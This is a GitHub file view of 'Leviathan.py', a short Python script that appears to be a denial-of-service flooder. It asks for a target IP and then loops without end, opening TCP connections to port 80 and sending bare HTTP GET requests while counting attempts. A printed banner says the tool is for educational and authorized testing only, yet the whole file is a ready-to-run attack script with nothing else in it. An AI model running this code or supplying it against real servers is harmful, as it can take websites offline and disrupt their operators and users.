-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathLeviathan.py
53 lines (46 loc) · 1.61 KB
/
Leviathan.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#import socket module
import socket
#variable for text color
#error
Red = "\033[91m"
#attempt successful
Green = "\033[92m"
#Normal text
Blue = "\033[94m"
#settinh to default color
reset_color = "\033[0m"
#main attack function
def attack():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#try to connect to the server
try:
s.connect((ip, port))
data = f'GET / HTTP/1.1\r\nHost:{ip}\r\n\r\n'
s.send(data.encode())
print(f'{Green}[*] Attempt successful {attempt}{Green}')
except ConnectionRefusedError:
print(f'{Red}[*] Connection refused! Target may be down or the port is closed.{Red}')
print(f"{Red}[*]Exiting Script!{Red}")
exit()
except socket.error as e:
print(f'{Red}[*] Socket error: {e}{Red}')
print(f"{Red}[*]Exiting Script!{Red}")
exit()
except Exception as e:
print(f'{Red}[*] An unexpected error occurred: {e}{Red}')
print(f"{Red}[*]Exiting Script!{Red}")
finally:
s.close()
#Credits and Warning
print(f"{Blue}#####Leviathan#####{reset_color}")
print(f"{Blue}[*]Credit: Morta1DieTw1Ce{reset_color}")
print(f"{Blue}[*] Warning: This tool is intended for educational and authorized testing purposes only.{reset_color}")
print(f"{Blue}[*] Unauthorized use for any malicious or illegal activities is strictly prohibited.{reset_color}")
print(f"{Blue}[*] The creator of this tool does not support any misuse or harm caused by its usage.{reset_color}\n")
#target ip
ip = input(f'{Blue}[*] Enter Target\'s IP:{reset_color}')
port = 80
attempt = 0
while True:
attempt += 1
attack()